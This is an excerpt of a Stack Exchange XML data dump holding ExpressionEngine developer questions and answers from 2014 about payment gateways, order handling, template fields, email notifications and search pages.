  <row Id="21186" PostTypeId="1" CreationDate="2014-04-14T01:16:32.680" Score="2" ViewCount="111" Body="&lt;p&gt;When using PaymentExpress_PxPay on my Expresso Store, it all works fine until I get returned from DPS with the below URL. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/?ACT=30&amp;amp;H=5c08b9f81972472bd8f0a7691a82388c?result=v5Z1giv_jYce6gai7Ng6XIMCiiGkz5I43snkE6WWVwfMmZMy9iGlWiDp3v4fiv-qYrY9n4YCoX8GC0QnrXLmu95MKZ16QRPLhNgzm7Glv3riSlyGCVNOHGdxSEQLDGxveHs6chn3pdo-osy1ElCqxlvCVBlp7t5P7g7MRsEnUS3tK2sR6tvuCOrkFZJ71reJGDn6jeqEq6LYz20vdeZPF3TtPHPAQaD5hX0_sSJ2fDnMESgsiupFvv5mU4zNoNXL5OlUxR4Z34Jq-ZNyK--NEvcGk8zZHvOkouriaVeeKhhJjCCB8SX64lCeyDgcsfRkofXcx2Qnr4R6qV2qjZkTt2YmdviXQCwxqzKRR5g-ZPTgiZTXn6bu68YE6fzCN94O1K_pFCO4aZ2lN2NR35Ced8eW41LuIkI4VDZYFvXOaG-h7EVETm3XWTARVm-f_rgtyyxwbAi2kJBrfMsp4w59KZx13ACqBRje6-&amp;amp;userid={my DPS user id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Store can't extract the transaction hash out of the get data. (In Module.php, act_payment_return()) It looks for the index &quot;H&quot; which you can see below, but that drags &quot;?result&quot; and all the rest with it two as it's not properly. I seem to remember having some strange issues with processing DPS responses in the past when building my own payment processors, but as this is an out of the box product where this is already built I thought I better see if anyone else has had this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE V2.7.2, Store V2.0.6&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2016-05-24T14:51:03.237" Title="Expresso Store DPS/PxPay Response Issues" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21187" PostTypeId="1" CreationDate="2014-04-14T08:04:41.790" Score="0" ViewCount="88" Body="&lt;p&gt;is it possible for a customer to cancel an order in cartthrob? E.g. he buys a ticket but recognizes that he does not have time to go to the event. So he wants to cancel his order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody has an idea to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2016-06-20T03:05:51.217" Title="Cancel order in cartthrob" Tags="|cartthrob|orders|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21188" PostTypeId="1" CreationDate="2014-04-14T08:27:07.560" Score="1" ViewCount="66" Body="&lt;p&gt;I want to filter entries by the tags they contain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works nice, when only one tag is queried, but I need to be able to add several tags to the URL by clicking on them in the front-end and have the list of entries drill down accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd also be able to remove already present tags from the URL by clicking the same link again. Think of toggling a tag on and off from a query, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ralphmedia.co.uk/reefine/demo%5fbasic&quot; rel=&quot;nofollow&quot;&gt;http://www.ralphmedia.co.uk/reefine/demo_basic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this has to be achieved using JavaScript/AJAX, but I have no idea where to start building something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can anyone please steer me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="2855" LastActivityDate="2014-04-17T15:44:15.963" Title="Filter entries using Solspace's Tag" Tags="|channel-entries|solspace|filter|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21189" PostTypeId="2" ParentId="21186" CreationDate="2014-04-14T08:30:47.370" Score="0" Body="&lt;p&gt;I believe this issue has been resolved in Store v2.20. If you upgrade to the current latest version you shouldn't have any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you're using EE 2.7 then set &quot;Process form data in Secure Mode&quot; to &quot;No&quot; in Admin &gt; Security &amp;amp; Privacy &gt; Security &amp;amp; Sessions in the control panel. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-14T08:30:47.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21190" PostTypeId="2" ParentId="21182" CreationDate="2014-04-14T09:23:55.190" Score="0" Body="&lt;p&gt;Low himself was 2 minutes on my server and got it all fixed.&#xA;The problem was that the category url titles have been containing uppercase-letters. After converting everything to lowercase it all works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A big thanks to Low for his quick and ultra-competent support!!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-14T09:23:55.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21191" PostTypeId="2" ParentId="21182" CreationDate="2014-04-14T09:25:15.657" Score="2" Body="&lt;p&gt;Low Seg2Cat currently (v2.8.0) expects lowercase category url titles. If you have any uppercase characters in them, they will not be matched. By default, this should pose no problem, as EE will always lowercase them. But if you're importing them, or manually setting them, they might have uppercase letters in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change all category url titles to lowercase, use this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_categories SET cat_url_title = LOWER(cat_url_title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query will fix the issue in this case.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-04-14T09:25:15.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21194" PostTypeId="2" ParentId="10259" CreationDate="2014-04-14T15:47:19.657" Score="0" Body="&lt;p&gt;Seems like this issue is back again. I'm running CT v2.4 and when I select PayPal from the available gateways (I have two) I'm directed to PP as expected. If I then select the &quot;Cancel and return to [Company Name] Pty Ltd.&quot; button I'm redirected back to my site but I receive a success response message and a corresponding order number. Also the item is still available in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can reproduce every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the backend the order is displayed but with the &quot;Failed&quot; status defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a mill, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy.&lt;/p&gt;&#xA;" OwnerUserId="306" LastActivityDate="2014-04-14T15:47:19.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21195" PostTypeId="1" CreationDate="2014-04-14T16:05:02.217" Score="0" ViewCount="149" Body="&lt;p&gt;Working on a project where there is a need to be able to take data provided in the form of an xml file, from an AS400 mainframe, which updates information relating to certain orders placed in Expresso.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notably, a status change from 'approved' to 'shipping'. Naturally, when this occurs the customer should be notified via email along with a provided shipping number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue at hand is how to trigger an email within Expresso when a simple database change on a field is made. If one goes through the application itself, via the GUI, and changes a status then an email is sent. However, the staff want no part in manually changing order statuses on the EE end of things. They'd rather only have to focus on the AS400. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there has to be logic in place to accomplish this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Expresso team was helpful and pointed me in the right direction, however I was hoping for some additional clarity from you guys and perhaps recommendations or code examples. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anything that triggers our &lt;code&gt;updateStatus&lt;/code&gt; method in Order.php will&#xA;  trigger any emails and actions associated with the change of order&#xA;  status. So if you have emails setup to be sent for each status then&#xA;  these will be triggered. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you're changing the status outside of the Store application however&#xA;  and not going through our updateStatus method then you'll need to&#xA;  latch on to our Order Status hooks&#xA;  (&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#order_status_hooks&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#order_status_hooks&lt;/a&gt;).&#xA;  You can use the &lt;code&gt;store_order_update_status_end&lt;/code&gt; to fire off an email&#xA;  or anything else you need to perform once the status has been changed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is my first time diving this deep into EE or Expresso. I've done some exciting things so far in this project, but this one has been the most indepth thus far. &lt;/p&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2014-04-14T16:05:02.217" Title="Expresso Store - Order Status Change on DB level (via Datagrabber) send out email notification to customer" Tags="|expresso-store|email|hook|datagrab|xml|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21196" PostTypeId="1" AcceptedAnswerId="21271" CreationDate="2014-04-14T16:23:49.083" Score="2" ViewCount="355" Body="&lt;p&gt;I'm not sure if I'm only just noticing this error, or if it just came up from some reason...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.2&lt;br&gt;&#xA;PT Field Pack v2.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;br&gt; Severity: Notice&lt;br&gt; Message: Array to&#xA;  string conversion&lt;br&gt; Filename: fieldpack/ft.fieldpack_pill.php&lt;br&gt;&#xA;  Line Number: 132&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I comment out line 132 in fieldpack/ft.fieldpack_pill.php the error goes away, and the fieldtype &lt;em&gt;seems&lt;/em&gt; to work just fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zKGCl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be causing this? Is commenting the line out going to cause other problems?&lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2014-04-18T10:54:27.797" Title="PHP Error in PT Field Pack - Pill: &quot;Array to string conversion Filename: fieldpack/ft.fieldpack_pill.php&quot;" Tags="|php-errors|field-pack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21198" PostTypeId="1" AcceptedAnswerId="21202" CreationDate="2014-04-14T17:24:36.930" Score="0" ViewCount="105" Body="&lt;p&gt;using the EE &quot;email to friend&quot; form, I need to include the contents of a WYGWAM field in a hidden form field. here's what that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;message[]&quot; value=&quot;{title}{product_description}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the {product_description} field is WYGWAM content and contains links. the quotes in the links (&lt;code&gt;&amp;lt;a href=&quot;...&quot;&lt;/code&gt;) are breaking the formatting of the page because the browser reads the first href=&quot; quote as the closing quote for the hidden field value. it's a quick fix to just change the hidden field attributes to single quotes but then it breaks the formatting if the {product_description} contains single quotes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's the best way to avoid that?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2014-04-15T17:54:50.380" Title="expressionengine wygwam content (links) break when included in form field" Tags="|ee2|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21199" PostTypeId="2" ParentId="21187" CreationDate="2014-04-14T18:02:48.507" Score="0" Body="&lt;p&gt;Maybe give users acces to your order channel? Show them of course only their own orders, and let them edit or delete.&#xA;Only problem exists if they have already payed. In that case a mail to the shop owner with all the details?&#xA;An inbetween option would be a time slot. Delay the actual money withdrawal, giving customers opportunity to cancel/alter the order. After that, no refund possible, unless against some costs.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-04-14T18:02:48.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21200" PostTypeId="1" CreationDate="2014-04-14T18:14:03.283" Score="2" ViewCount="51" Body="&lt;p&gt;This is a minor issue and there are surely more important questions to be answered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am using the Nerdery CP theme and noticed an issue with the UI of the Grid fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to reorder Grid rows (in EE 2.7.3 and 2.8.1), I cannot drag rows between other rows, they just jump to the bottom or top of the set. I made a quick video to demonstrate: &lt;a href=&quot;http://youtu.be/p8-5OjqnDd0&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/p8-5OjqnDd0&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn off the Nerdery CP theme, then the reordering seems to work fine (but that's a drag -- so to speak -- because Nerdery looks so much cleaner and less pink). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas, the Nerdery devot-ee forum is archived only, so I was wondering if anyone has noticed this issue and possibly resolved it in the override CSS? &lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2014-04-14T21:01:52.450" Title="Nerdery CP Theme - Grid UI Issue with Reordering Rows?" Tags="|grid|cp-themes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21201" PostTypeId="2" ParentId="21200" CreationDate="2014-04-14T21:01:52.450" Score="2" Body="&lt;p&gt;there. Thanks for pointing this out. I haven't noticed it in my environments, but I'll take another look. In the mean time if you know the fix you can send a pull request to &lt;a href=&quot;https://github.com/litzinger/Nerdery-Theme&quot; rel=&quot;nofollow&quot;&gt;https://github.com/litzinger/Nerdery-Theme&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-04-14T21:01:52.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21202" PostTypeId="2" ParentId="21198" CreationDate="2014-04-14T21:07:17.737" Score="0" Body="&lt;p&gt;You need to strip all HTML from that content, and convert the quotes to entities. That email is going to be sent as plain text by the Tell-A-Friend form, so you'll need to remove all the HTML anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/ce-string&quot; rel=&quot;nofollow&quot;&gt;CE String&lt;/a&gt; - worth the small investment. You'd do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing removehtml htmlentities}{title}{product_description}{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, enable PHP in your template (on output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo strip_tags(htmlentities(&quot;{title}{product_description}&quot;)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-04-15T17:54:50.380" LastActivityDate="2014-04-15T17:54:50.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21203" PostTypeId="1" CreationDate="2014-04-14T21:15:21.877" Score="1" ViewCount="54" Body="&lt;p&gt;I am guessing this is similar to the question &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5163/expresso-store-sagepay-server-rejecting-missing-billingsurname&quot;&gt;Expresso Store: SagePay Server rejecting missing BillingSurname&lt;/a&gt;&#xA; in some ways, thou the solution on this entry does not apply anymore with Store 2.+ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hard code in a billings_name hidden field into the details page before review then the system works else it get this error from SagePay. Currently I have a first/last name setup with the details and this is reflected with in the store fields settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i missing a configuration ?&lt;/p&gt;&#xA;" OwnerUserId="2840" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-05-16T16:34:19.560" Title="Expresso Store &amp; Sagepage 3107 BillingsSurname Error" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21204" PostTypeId="1" AcceptedAnswerId="21212" CreationDate="2014-04-15T01:32:35.810" Score="1" ViewCount="68" Body="&lt;p&gt;I need to be able to generate private links for entries that aren't visible on the front-end of the website. I guess I could just setup an alternative template that isn't linked within the website structure. The links don't need to be very secure but this still feels a bit half-baked. Has anyone setup something like this before?&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2014-04-15T12:09:20.760" Title="Private link to view closed entry" Tags="|channel-entries|links|secure|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21205" PostTypeId="1" CreationDate="2014-04-15T02:33:04.150" Score="1" ViewCount="148" Body="&lt;p&gt;I'm using WYGWAM version 2.5 and I was able to copy paste into the field. Now nothing gets pasted except an empty paragraph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had set forcePasteAsPlainTExt set to yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2971" LastActivityDate="2014-04-24T08:36:18.677" Title="WYGWAM copy paste is not working" Tags="|wygwam|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21206" PostTypeId="1" CreationDate="2014-04-15T04:12:16.050" Score="1" ViewCount="63" Body="&lt;p&gt;Is there an add-on that can provide a hook to change the forget password email?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-04-15T13:05:32.267" Title="Addon - Forget Password Email Hook" Tags="|hook|forgot-password|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-30T01:34:37.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="21207" PostTypeId="1" CreationDate="2014-04-15T04:59:46.527" Score="2" ViewCount="41" Body="&lt;p&gt;On my &lt;strong&gt;cartthrob&lt;/strong&gt; site I can add and remove things to and from the cart just fine but when i go to checkout i get this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected $end, expecting ':' or '{' in&#xA;  MYSITE/system/expressionengine/third_party/cartthrob/payment_gateways/Cartthrob_ct_pay_by_check.php&#xA;  on line 52&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ive found the file and the line its referencing is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function charge($credit_card_number){&#xA;        switch ($this-&amp;gt;plugin_settings('processing_status'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there something wrong with this that I should edit?&#xA;or is the cause of the problem somewhere else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt;&lt;br&gt;&#xA;Redownloaded cartthrobs files, opened the one in question and found out what was missing, guess my initial download mustve got corrupted or something&lt;/p&gt;&#xA;" OwnerUserId="2972" LastEditorUserId="7185" LastEditDate="2017-02-15T15:17:27.383" LastActivityDate="2017-02-15T15:17:27.383" Title="php parse syntax error on cartthrob checkout" Tags="|cartthrob|php|error|parse|syntax|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21211" PostTypeId="2" ParentId="21203" CreationDate="2014-04-15T11:38:23.003" Score="0" Body="&lt;p&gt;For expresso 2.3.1 SagePay will return a error of - 3107 BillingsSurname if the card details form is present on the review template. I guess this is because the payment[card_name] is used instead of billings_first_name &amp;amp; bilings_last_name.   Removing or commenting out this form will resolve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thanks Adrian Macneil for the solution&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2840" LastActivityDate="2014-04-15T11:38:23.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21212" PostTypeId="2" ParentId="21204" CreationDate="2014-04-15T12:09:20.760" Score="5" Body="&lt;p&gt;If it doesn't need to be particularly secure, create a separate sub-domain, and set up a global variable to show different statuses depending on which sub-domain they're on. If you're using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;FocusLab Master Config&lt;/a&gt; this is simple, otherwise try something like this in your main public index.php file under where it says &quot;CUSTOM CONFIG VALUES&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($_SERVER[&quot;HTTP_HOST&quot;]) { &#xA;  case &quot;previews.domain.com&quot; : &#xA;    $assign_to_config['site_url'] = 'http://previews.domain.com/'; &#xA;    $assign_to_config['global_vars']['gv_entry_statuses'] = 'open|Draft';&#xA;    break;  &#xA;  case &quot;www.domain.com&quot; :&#xA;  case &quot;domain.com&quot; :&#xA;    $assign_to_config['site_url'] = 'http://www.domain.com/';&#xA;    $assign_to_config['global_vars']['gv_entry_statuses'] = 'open';&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then any time you use a channel entries tag, add the parameter &lt;code&gt;status=&quot;{gv_entry_statuses}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this technique to allow editors a quick and simple workflow for creating new content before launching to the live site. Rather than using the 'closed' status you should really create a new custom status for this, such as &quot;draft&quot; or &quot;pending&quot;, because it's useful to keep &quot;closed&quot; for stuff that really should never appear anywhere &lt;em&gt;ever&lt;/em&gt; (but for some reason needs to be kept in the system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use this technique for quick and dirty forking into separate templates, e.g. you could specify a different folder for tmpl_file_basepath using &lt;code&gt;$assign_to_config['tmpl_file_basepath']&lt;/code&gt; so that the sub-domain displays a completely different version of the site. (Much better to use a proper version-controlled environment with Git deployments, but that can take a while to set up and is not necessary for really small sites.)&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-15T12:09:20.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21214" PostTypeId="2" ParentId="21206" CreationDate="2014-04-15T13:05:32.267" Score="1" Body="&lt;p&gt;You don't need a hook to change the contents of the email for forgotten passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go to Design -&gt; Message Pages -&gt; Email Notifications&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-15T13:05:32.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21216" PostTypeId="2" ParentId="20986" CreationDate="2014-04-15T13:44:43.880" Score="2" Body="&lt;p&gt;There are no ExpressionEngine hooks for the &lt;em&gt;forgot password&lt;/em&gt; feature but given that you intention is to override the email being sent when a user forgets their password you mainly just need to change that template. The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/_downloads/user_message_template.txt&quot; rel=&quot;nofollow&quot;&gt;default styling&lt;/a&gt; can be changed in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Design &gt; Message Pages &gt; Email Notifications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively &lt;a href=&quot;https://www.objectivehtml.com/postmaster/features&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; provides a nice abstraction to work with. It's a commercial addon but is quite versatile. Postmaster provides it's own &lt;a href=&quot;https://objectivehtml.com/postmaster/hooks/send-system-email&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;send system email&lt;/code&gt; hook&lt;/a&gt; to use.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;This hook will send an email anytime a system email is sent. This&#xA;  hook is great for globally overriding all system emails so you can&#xA;  send them with your preferred service.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This can be used to override any of the default settings and you can even send multiple emails to different recipients if you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt; is another commercial addon which can do the job as the name suggests. The advantages include the ability to parse other EE template tags and save the &lt;em&gt;Message Pages&lt;/em&gt; to files on the filesystem (so you don't have to edit via the Control Panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly &lt;a href=&quot;http://devot-ee.com/add-ons/libraree&quot; rel=&quot;nofollow&quot;&gt;Libraree&lt;/a&gt; is another similar commercial addon (and a personal favourite) providing much the same thing in allowing you to save &lt;em&gt;Speciality Templates&lt;/em&gt; to the filesystem and parse other EE template tags. The advantage with this one is that it also saves snippets and global variables as files too. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Plus, it provides the ability to quickly style notification emails&#xA;  into beautiful HTML emails and style all system messages into proper&#xA;  designed templates.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So there are a number of ways to change the default email message templates being sent along with much cleaner ways to edit them. It's all down to preference. :)&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2014-04-15T13:51:36.513" LastActivityDate="2014-04-15T13:51:36.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21217" PostTypeId="1" CreationDate="2014-04-15T13:46:44.687" Score="1" ViewCount="233" Body="&lt;p&gt;I have a problem about my control panel menu loading&#xA;it’s run slow, especially about anything run with js i think&#xA;the hover menu like menu Design, Members, etc are not showing up&#xA;then i try to enter template manager link after i view the source code&#xA;but it’s not working when i try to select template groups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think the problem is the js, because after i view the source code, then i try to open every js in the page, but there is one link that slow to load&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it’s located here: /admin.php?S=025e0f4f2e17084ef824276564d10053&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;ui=core,widget,mouse,position,sortable,dialog&amp;amp;plugin=ee_interact.event,ee_broadcast.event,ee_notice,ee_txtarea,tablesorter,ee_toggle_all,ee_navigation&amp;amp;file=json2,underscore,cp/global_start&amp;amp;v=1383269521&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have anyone ever experienced problem like this? how to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Best Regards,&#xA;.mafaik&lt;/p&gt;&#xA;" OwnerUserId="2942" LastActivityDate="2014-04-15T13:46:44.687" Title="EE Control Panel Loading Slow" Tags="|control-panel|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21218" PostTypeId="1" CreationDate="2014-04-15T13:54:10.920" Score="0" ViewCount="55" Body="&lt;p&gt;I haven't found a question that i could relate to, so please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a nivo jquery slider inside a channel loop continually runs on my page. Is there any way to limit and cycle it back to what is already processed? I have set the limit parameter.&#xA;It starts off how many entries that are present. After every time it goes to load a slice, it doesn't stop/cycle to where it started. Any tips?&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-04-15T13:54:10.920" Title="nivoslider inside channel tags" Tags="|ee2|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21219" PostTypeId="1" AcceptedAnswerId="21237" CreationDate="2014-04-15T14:00:24.653" Score="1" ViewCount="683" Body="&lt;p&gt;I am trying to get a custom no search result page working and all I keep getting is the standar white background/ gray box with the text, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Search Results:&#xA;Your search did not return any results.&#xA;Return to Previous Page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code for my simple search form is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;search_box search_results_page&quot;&amp;gt;&#xA;                {exp:search:simple_form channel=&quot;recipes&quot; id=&quot;recipe_search&quot; result_page=&quot;recipes/search-result&quot;  no_result_page=&quot;recipes/no-results&quot; }&#xA;                    &amp;lt;span class=&quot;search_box_content&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt; &#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; class=&quot;clear_default&quot; value=&quot;Search for a recipe&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;                        &amp;lt;input id=&quot;recipe_submit&quot; type=&quot;submit&quot; value=&quot;&quot; class=&quot;submit&quot;&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                {/exp:search:simple_form}&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template DOES exist and lives in the same template.group as the search template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also looked at this thread: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10832/simple-search-returns-system-message-template-for-no-results-even-when-no-resul&quot;&gt;Simple Search returns System Message template for No Results even when &amp;#39;no_result_page&amp;#39; set&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that doesn't seem to have helped me either, I get an error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined function ee() in /home/sites/justmilk.com/public_html/dev.justmilk.com/jmadmin/expressionengine/modules/search/mod.search.php on line 1262&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am fairly new to EE so any ideas hints tips would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2973" LastEditorUserId="-1" 